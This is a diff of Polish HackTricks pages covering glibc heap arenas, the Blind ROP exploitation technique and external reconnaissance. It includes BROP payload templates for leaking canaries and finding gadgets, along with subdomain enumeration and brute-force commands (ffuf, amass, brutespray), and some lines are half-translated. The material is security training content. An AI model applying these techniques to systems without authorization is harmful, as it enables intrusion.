|
||||
* Kawałek `top` jest ostatnim "kawałkiem", który jest zasadniczo **całą pozostałą przestrzenią sterty**. Gdy kawałek top jest "pusty", sterta jest całkowicie wykorzystana i musi zażądać więcej przestrzeni.
|
||||
* Wskaźnik `mchunkptr bins[NBINS * 2 - 2];` zawiera **wskaźniki** do **pierwszych i ostatnich kawałków** małych, dużych i nieposortowanych **koszy** ( -2, ponieważ indeks 0 nie jest używany)
|
||||
* Dlatego **pierwszy kawałek** tych koszy będzie miał **wskaźnik wsteczny do tej struktury**, a **ostatni kawałek** tych koszy będzie miał **wskaźnik do przodu** do tej struktury. Co zasadniczo oznacza, że jeśli możesz **wyciek** tych adresów w głównej arenie, będziesz miał wskaźnik do struktury w **libc**.
|
||||
* Struktury `struct malloc_state *next;` i `struct malloc_state *next_free;` to listy powiązane aren
|
||||
* Kawałek `top` to ostatni "kawałek", który jest zasadniczo **całą pozostałą przestrzenią sterty**. Gdy kawałek top jest "pusty", sterta jest całkowicie wykorzystana i musi zażądać więcej przestrzeni.
|
||||
* Kawałek `last reminder` pochodzi z przypadków, gdy kawałek o dokładnym rozmiarze nie jest dostępny i dlatego większy kawałek jest dzielony, a wskaźnik pozostałej części jest umieszczany tutaj.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
||||
|
@ -327,7 +327,7 @@ people extending or adapting this malloc.
|
|||
/* Treat space at ptr + offset as a chunk */
|
||||
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
|
||||
```
|
||||
* Bit insue
|
||||
* Insue bit
|
||||
```c
|
||||
/* extract p's inuse bit */
|
||||
#define inuse(p) \
|
||||
|
@ -470,11 +470,11 @@ return 0;
|
|||
|
||||
Debugując poprzedni przykład, można zobaczyć, że na początku istnieje tylko 1 arena:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Następnie, po wywołaniu pierwszego wątku, tego, który wywołuje malloc, tworzona jest nowa arena:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
a wewnątrz niej można znaleźć kilka chunków:
|
||||
|
||||
|
@ -482,7 +482,7 @@ a wewnątrz niej można znaleźć kilka chunków:
|
|||
|
||||
## Bins & Memory Allocations/Frees
|
||||
|
||||
Sprawdź, jakie są bins i jak są zorganizowane oraz jak pamięć jest alokowana i zwalniana w:
|
||||
Sprawdź, jakie są bins, jak są zorganizowane oraz jak pamięć jest alokowana i zwalniana w:
|
||||
|
||||
{% content-ref url="bins-and-memory-allocations.md" %}
|
||||
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
||||
|
|
|
@ -10,14 +10,14 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Celem tego ataku jest **wykorzystanie ROP za pomocą przepełnienia bufora bez jakiejkolwiek informacji o podatnym binarnym**.\
|
||||
Celem tego ataku jest **wykorzystanie ROP za pomocą przepełnienia bufora bez jakichkolwiek informacji o podatnym binarnym**.\
|
||||
Atak oparty jest na następującym scenariuszu:
|
||||
|
||||
* Wrażliwość na stosie i wiedza o tym, jak ją wywołać.
|
||||
|
@ -31,17 +31,17 @@ Atak oparty jest na następującym scenariuszu:
|
|||
|
||||
### **3. Bruteforce przechowywanych adresów RBP i RIP** w stosie, aby je wyciekł
|
||||
|
||||
Więcej informacji na temat tych procesów można znaleźć [tutaj (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) i [tutaj (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
|
||||
Więcej informacji na temat tych procesów można znaleźć [tutaj (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) oraz [tutaj (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
|
||||
|
||||
### **4. Znajdź gadget stop**
|
||||
|
||||
Ten gadget zasadniczo pozwala potwierdzić, że coś interesującego zostało wykonane przez gadget ROP, ponieważ wykonanie nie spowodowało awarii. Zazwyczaj ten gadget będzie czymś, co **zatrzymuje wykonanie** i jest umieszczone na końcu łańcucha ROP, gdy szuka się gadgetów ROP, aby potwierdzić, że konkretny gadget ROP został wykonany.
|
||||
Ten gadget zasadniczo pozwala potwierdzić, że coś interesującego zostało wykonane przez gadget ROP, ponieważ wykonanie nie spowodowało awarii. Zwykle ten gadget będzie czymś, co **zatrzymuje wykonanie** i jest umieszczone na końcu łańcucha ROP, gdy szuka się gadgetów ROP, aby potwierdzić, że konkretny gadget ROP został wykonany.
|
||||
|
||||
### **5. Znajdź gadget BROP**
|
||||
|
||||
Ta technika wykorzystuje gadget [**ret2csu**](ret2csu.md). I to dlatego, że jeśli uzyskasz dostęp do tego gadgetu w środku jakichś instrukcji, otrzymasz gadgety do kontrolowania **`rsi`** i **`rdi`**:
|
||||
Ta technika wykorzystuje gadget [**ret2csu**](ret2csu.md). A to dlatego, że jeśli uzyskasz dostęp do tego gadgetu w środku jakichś instrukcji, otrzymasz gadgety do kontrolowania **`rsi`** i **`rdi`**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
To byłyby gadgety:
|
||||
|
||||
|
@ -54,9 +54,9 @@ Zauważ również, że gadget ret2csu ma **bardzo unikalny podpis**, ponieważ b
|
|||
|
||||
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
|
||||
|
||||
Jeśli **STOP zostanie wykonany**, oznacza to zasadniczo, że **adres, który wyciąga 6 rejestrów** ze stosu został użyty. Lub że użyty adres był również adresem STOP.
|
||||
Jeśli **STOP jest wykonany**, oznacza to zasadniczo, że **adres, który wyciąga 6 rejestrów** ze stosu został użyty. Lub że użyty adres był również adresem STOP.
|
||||
|
||||
Aby **usunąć tę ostatnią opcję**, wykonuje się nowy łańcuch taki jak poniżej i nie powinien on wykonywać gadgetu STOP, aby potwierdzić, że poprzedni wyciągnął 6 rejestrów:
|
||||
Aby **usunąć tę ostatnią opcję**, wykonuje się nowy łańcuch, taki jak poniższy, i nie powinien on wykonywać gadgetu STOP, aby potwierdzić, że poprzedni rzeczywiście wyciągnął 6 rejestrów:
|
||||
|
||||
`'A' * offset + canary + rbp + ADDR`
|
||||
|
||||
|
@ -83,7 +83,7 @@ Można znaleźć lokalizację **`strcmp`** w PLT na podstawie jej zachowania, wy
|
|||
* strcmp(\<read addr>, \<non read addr>) -> awaria
|
||||
* strcmp(\<read addr>, \<read addr>) -> brak awarii
|
||||
|
||||
Można to sprawdzić, wywołując każdy wpis w tabeli PLT lub używając **wolnej ścieżki PLT**, która zasadniczo polega na **wywołaniu wpisu w tabeli PLT + 0xb** (co wywołuje **`dlresolve`**) a następnie w stosie przez **numer wpisu, który chce się zbadać** (zaczynając od zera), aby przeskanować wszystkie wpisy PLT od pierwszego:
|
||||
Można to sprawdzić, wywołując każdy wpis w tabeli PLT lub korzystając z **wolnej ścieżki PLT**, która zasadniczo polega na **wywołaniu wpisu w tabeli PLT + 0xb** (co wywołuje **`dlresolve`**) a następnie w stosie przez **numer wpisu, który chce się zbadać** (zaczynając od zera), aby przeskanować wszystkie wpisy PLT od pierwszego:
|
||||
|
||||
* strcmp(\<non read addr>, \<read addr>) -> awaria
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Spowoduje awarię
|
||||
|
@ -98,7 +98,7 @@ Pamiętaj, że:
|
|||
* BROP + 0x9 wskazuje na **`pop RDI; ret;`**
|
||||
* PLT + 0xb wskazuje na wywołanie **dl\_resolve**.
|
||||
|
||||
Mając znaleziony `strcmp`, można ustawić **`rdx`** na wartość większą niż 0.
|
||||
Po znalezieniu `strcmp` można ustawić **`rdx`** na wartość większą niż 0.
|
||||
|
||||
{% hint style="success" %}
|
||||
Zauważ, że zazwyczaj `rdx` będzie już miało wartość większą niż 0, więc ten krok może nie być konieczny.
|
||||
|
@ -118,7 +118,7 @@ Jednak oryginalny dokument wspomina tylko o funkcji **`write`**, więc porozmawi
|
|||
|
||||
Obecny problem polega na tym, że nie wiemy **gdzie funkcja write znajduje się w PLT** i nie znamy **numeru fd, aby wysłać dane do naszego gniazda**.
|
||||
|
||||
Jednak wiemy **gdzie znajduje się tabela PLT** i można znaleźć write na podstawie jej **zachowania**. Możemy stworzyć **wiele połączeń** z serwerem i użyć **wysokiego FD**, mając nadzieję, że pasuje do niektórych z naszych połączeń.
|
||||
Jednak wiemy **gdzie znajduje się tabela PLT** i można znaleźć write na podstawie jej **zachowania**. Możemy stworzyć **wiele połączeń** z serwerem i użyć **wysokiego FD**, mając nadzieję, że pasuje do niektórych naszych połączeń.
|
||||
|
||||
Podpisy zachowań do znalezienia tych funkcji:
|
||||
|
||||
|
@ -145,7 +145,7 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,27 +1,27 @@
|
|||
# External Recon Methodology
|
||||
# Metodologia Zewnętrznego Rekonesansu
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Ucz się i ćwicz Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
Jeśli jesteś zainteresowany **karierą w hacking** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Assets discoveries
|
||||
## Odkrywanie zasobów
|
||||
|
||||
> Powiedziano ci, że wszystko, co należy do jakiejś firmy, jest w zakresie, a ty chcesz dowiedzieć się, co ta firma faktycznie posiada.
|
||||
|
||||
|
@ -32,7 +32,7 @@ Celem tej fazy jest uzyskanie wszystkich **firm należących do głównej firmy*
|
|||
3. Użyć odwrotnych wyszukiwań whois, aby poszukać innych wpisów (nazwy organizacji, domeny...) związanych z pierwszym (można to zrobić rekurencyjnie).
|
||||
4. Użyć innych technik, takich jak filtry shodan `org` i `ssl`, aby poszukać innych zasobów (sztuczka `ssl` może być wykonana rekurencyjnie).
|
||||
|
||||
### **Acquisitions**
|
||||
### **Przejęcia**
|
||||
|
||||
Przede wszystkim musimy wiedzieć, które **inne firmy są własnością głównej firmy**.\
|
||||
Jedną z opcji jest odwiedzenie [https://www.crunchbase.com/](https://www.crunchbase.com), **wyszukiwanie** głównej firmy i **kliknięcie** na "**przejęcia**". Tam zobaczysz inne firmy przejęte przez główną.\
|
||||
|
@ -40,20 +40,20 @@ Inną opcją jest odwiedzenie strony **Wikipedia** głównej firmy i wyszukiwani
|
|||
|
||||
> Ok, w tym momencie powinieneś znać wszystkie firmy w zakresie. Dowiedzmy się, jak znaleźć ich zasoby.
|
||||
|
||||
### **ASNs**
|
||||
### **ASNy**
|
||||
|
||||
Numer systemu autonomicznego (**ASN**) to **unikalny numer** przypisany do **systemu autonomicznego** (AS) przez **Internet Assigned Numbers Authority (IANA)**.\
|
||||
**AS** składa się z **bloków** **adresów IP**, które mają wyraźnie zdefiniowaną politykę dostępu do zewnętrznych sieci i są zarządzane przez jedną organizację, ale mogą składać się z kilku operatorów.
|
||||
|
||||
Interesujące jest sprawdzenie, czy **firma ma przypisany jakikolwiek ASN**, aby znaleźć jej **zakresy IP**. Warto przeprowadzić **test podatności** na wszystkich **hostach** w **zakresie** i **szukać domen** w tych IP.\
|
||||
Możesz **wyszukiwać** według nazwy firmy, według **IP** lub według **domeny** w [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
Interesujące jest sprawdzenie, czy **firma ma przypisany jakikolwiek ASN**, aby znaleźć jej **zakresy IP**. Warto przeprowadzić **test podatności** na wszystkie **hosty** w **zakresie** i **szukać domen** w tych IP.\
|
||||
Możesz **wyszukiwać** według **nazwa firmy**, według **IP** lub według **domeny** w [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
**W zależności od regionu firmy, te linki mogą być przydatne do zbierania dodatkowych danych:** [**AFRINIC**](https://www.afrinic.net) **(Afryka),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Ameryka Północna),** [**APNIC**](https://www.apnic.net) **(Azja),** [**LACNIC**](https://www.lacnic.net) **(Ameryka Łacińska),** [**RIPE NCC**](https://www.ripe.net) **(Europa). W każdym razie, prawdopodobnie wszystkie** przydatne informacje **(zakresy IP i Whois)** pojawiają się już w pierwszym linku.
|
||||
```bash
|
||||
#You can try "automate" this with amass, but it's not very recommended
|
||||
amass intel -org tesla
|
||||
amass intel -asn 8911,50313,394161
|
||||
```
|
||||
Również, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** enumeracja subdomen automatycznie agreguje i podsumowuje ASN na końcu skanowania.
|
||||
Również, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** enumeracja subdomen automatycznie agreguje i podsumowuje ASN-y na końcu skanowania.
|
||||
```bash
|
||||
bbot -t tesla.com -f subdomain-enum
|
||||
...
|
||||
|
@ -77,7 +77,7 @@ Możesz znaleźć IP i ASN domeny używając [http://ipv4info.com/](http://ipv4i
|
|||
|
||||
Na tym etapie znamy **wszystkie zasoby w zakresie**, więc jeśli masz na to pozwolenie, możesz uruchomić jakiś **skaner luk** (Nessus, OpenVAS) na wszystkich hostach.\
|
||||
Możesz również przeprowadzić [**skany portów**](../pentesting-network/#discovering-hosts-from-the-outside) **lub użyć usług takich jak** shodan **aby znaleźć** otwarte porty **i w zależności od tego, co znajdziesz, powinieneś** zajrzeć do tej książki, aby dowiedzieć się, jak przeprowadzić pentesting różnych możliwych usług.\
|
||||
**Warto również wspomnieć, że możesz przygotować również listy** domyślnych nazw użytkowników **i** haseł **i spróbować** bruteforce'ować usługi za pomocą [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
**Warto również wspomnieć, że możesz przygotować kilka** domyślnych nazw użytkowników **i** haseł **i spróbować** bruteforce'ować usługi za pomocą [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
|
||||
## Domeny
|
||||
|
||||
|
@ -85,7 +85,7 @@ Możesz również przeprowadzić [**skany portów**](../pentesting-network/#disc
|
|||
|
||||
_Proszę zauważyć, że w poniższych proponowanych technikach możesz również znaleźć subdomeny i ta informacja nie powinna być niedoceniana._
|
||||
|
||||
Przede wszystkim powinieneś poszukać **głównej domeny**(s) każdej firmy. Na przykład, dla _Tesla Inc._ będzie to _tesla.com_.
|
||||
Przede wszystkim powinieneś poszukać **głównej domeny**(y) każdej firmy. Na przykład, dla _Tesla Inc._ będzie to _tesla.com_.
|
||||
|
||||
### **Reverse DNS**
|
||||
|
||||
|
@ -160,7 +160,7 @@ return fhash
|
|||
```
|
||||
### **Copyright / Uniq string**
|
||||
|
||||
Szukaj na stronach internetowych **ciągów, które mogą być dzielone między różnymi stronami w tej samej organizacji**. **Ciąg praw autorskich** może być dobrym przykładem. Następnie wyszukaj ten ciąg w **google**, w innych **przeglądarkach** lub nawet w **shodan**: `shodan search http.html:"Copyright string"`
|
||||
Szukaj na stronach internetowych **ciągów, które mogą być wspólne dla różnych stron w tej samej organizacji**. **Ciąg copyright** może być dobrym przykładem. Następnie wyszukaj ten ciąg w **google**, w innych **przeglądarkach** lub nawet w **shodan**: `shodan search http.html:"Copyright string"`
|
||||
|
||||
### **CRT Time**
|
||||
|
||||
|
@ -178,9 +178,9 @@ You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.liv
|
|||
|
||||
### **Passive Takeover**
|
||||
|
||||
Apparently is common for people to assign subdomains to IPs that belongs to cloud providers and at some point **lose that IP address but forget about removing the DNS record**. Therefore, just **spawning a VM** in a cloud (like Digital Ocean) you will be actually **taking over some subdomains(s)**.
|
||||
Apparently is common for people to assign subdomains to IPs that belongs to cloud providers and at some point **stracić ten adres IP, ale zapomnieć o usunięciu rekordu DNS**. Therefore, just **uruchamiając VM** in a cloud (like Digital Ocean) you will be actually **przejmować niektóre subdomeny**.
|
||||
|
||||
[**This post**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **spawns a VM in DigitalOcean**, **gets** the **IPv4** of the new machine, and **searches in Virustotal for subdomain records** pointing to it.
|
||||
[**This post**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **uruchamia VM w DigitalOcean**, **pobiera** **IPv4** nowej maszyny, and **szuka w Virustotal rekordów subdomen** wskazujących na nią.
|
||||
|
||||
### **Other ways**
|
||||
|
||||
|
@ -194,17 +194,17 @@ You could access the **TLS certificate** of the main web page, obtain the **Nazw
|
|||
|
||||
**Assetfinder**
|
||||
|
||||
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder) jest narzędziem, które szuka **domen związanych** z główną domeną i **subdomenami** z nimi, całkiem niesamowite.
|
||||
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder) is a tool that look for **domeny związane** z główną domeną i **subdomeny** z nich, pretty amazing.
|
||||
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company.
|
||||
Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **używa jakiejś domeny**, but they **stracili własność**. Just register it (if cheap enough) and let know the company.
|
||||
|
||||
If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\
|
||||
If you find any **domenę z adresem IP różnym** od tych, które już znalazłeś w odkrywaniu zasobów, you should perform a **podstawowe skanowanie podatności** (using Nessus or OpenVAS) and some [**skanowanie portów**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\
|
||||
_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Bug bounty tip**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dzisiaj, i zacznij zarabiać nagrody do **$100,000**!
|
||||
**Bug bounty tip**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -220,13 +220,13 @@ Note that some of the tools and techniques to find domains can also help to find
|
|||
|
||||
### **DNS**
|
||||
|
||||
Let's try to get **subdomains** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it).
|
||||
Let's try to get **subdomeny** from the **rekordów DNS**. We should also try for **Transfer Strefy** (If vulnerable, you should report it).
|
||||
```bash
|
||||
dnsrecon -a -d tesla.com
|
||||
```
|
||||
### **OSINT**
|
||||
|
||||
Naj szybszym sposobem na uzyskanie wielu subdomen jest przeszukiwanie zewnętrznych źródeł. Najczęściej używane **narzędzia** to następujące (dla lepszych wyników skonfiguruj klucze API):
|
||||
Naj szybszym sposobem na uzyskanie wielu subdomen jest przeszukiwanie zewnętrznych źródeł. Najczęściej używane **narzędzia** to:
|
||||
|
||||
* [**BBOT**](https://github.com/blacklanternsecurity/bbot)
|
||||
```bash
|
||||
|
@ -307,12 +307,12 @@ curl -s "https://crt.sh/?q=%25.$1" \
|
|||
}
|
||||
crt tesla.com
|
||||
```
|
||||
* [**gau**](https://github.com/lc/gau)**:** pobiera znane URL-e z Open Threat Exchange AlienVault, Wayback Machine i Common Crawl dla dowolnej domeny.
|
||||
* [**gau**](https://github.com/lc/gau)**:** pobiera znane adresy URL z Open Threat Exchange firmy AlienVault, Wayback Machine i Common Crawl dla dowolnej domeny.
|
||||
```bash
|
||||
# Get subdomains from GAUs found URLs
|
||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||
```
|
||||
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Zbierają dane z sieci w poszukiwaniu plików JS i wyodrębniają z nich subdomeny.
|
||||
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Zbierają dane z sieci w poszukiwaniu plików JS i wyodrębniają subdomeny stamtąd.
|
||||
```bash
|
||||
# Get only subdomains from SubDomainizer
|
||||
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
|
||||
|
@ -386,11 +386,11 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
|||
|
||||
Po znalezieniu subdomen za pomocą otwartych źródeł i brute-forcingu, możesz wygenerować modyfikacje znalezionych subdomen, aby spróbować znaleźć jeszcze więcej. Kilka narzędzi jest przydatnych w tym celu:
|
||||
|
||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Daje domeny i subdomeny, generuje permutacje.
|
||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Daje możliwość generowania permutacji na podstawie domen i subdomen.
|
||||
```bash
|
||||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Dla domen i subdomen generuje permutacje.
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Dla domen i subdomen generuj permutacje.
|
||||
* Możesz uzyskać permutacje goaltdns **wordlist** [**tutaj**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
|
@ -462,26 +462,26 @@ Dzięki tej technice możesz nawet uzyskać dostęp do wewnętrznych/ukrytych pu
|
|||
|
||||
### **CORS Brute Force**
|
||||
|
||||
Czasami znajdziesz strony, które zwracają nagłówek _**Access-Control-Allow-Origin**_ tylko wtedy, gdy w nagłówku _**Origin**_ ustawiona jest ważna domena/poddomena. W tych scenariuszach możesz wykorzystać to zachowanie, aby **odkryć** nowe **poddomeny**.
|
||||
Czasami znajdziesz strony, które zwracają nagłówek _**Access-Control-Allow-Origin**_ tylko wtedy, gdy w nagłówku _**Origin**_ ustawiona jest ważna domena/subdomena. W tych scenariuszach możesz wykorzystać to zachowanie, aby **odkryć** nowe **subdomeny**.
|
||||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
### **Brute Force Buckets**
|
||||
### **Buckets Brute Force**
|
||||
|
||||
Podczas poszukiwania **subdomen** zwróć uwagę, czy wskazują one na jakikolwiek typ **bucket**, a w takim przypadku [**sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Również, w tym momencie, gdy będziesz znać wszystkie domeny w zakresie, spróbuj [**brute force'ować możliwe nazwy bucketów i sprawdzić uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
Podczas szukania **subdomen** zwróć uwagę, czy wskazują one na jakikolwiek typ **bucket**, a w takim przypadku [**sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Również, w tym momencie będziesz znać wszystkie domeny w zakresie, spróbuj [**brute force'ować możliwe nazwy bucketów i sprawdzić uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
### **Monitorowanie**
|
||||
### **Monitorization**
|
||||
|
||||
Możesz **monitorować**, czy **nowe subdomeny** danej domeny są tworzone, monitorując **logi przejrzystości certyfikatów** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
Możesz **monitorować**, czy **nowe subdomeny** danej domeny są tworzone, monitorując **dzienniki przejrzystości certyfikatów** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
|
||||
### **Szukając luk w zabezpieczeniach**
|
||||
### **Looking for vulnerabilities**
|
||||
|
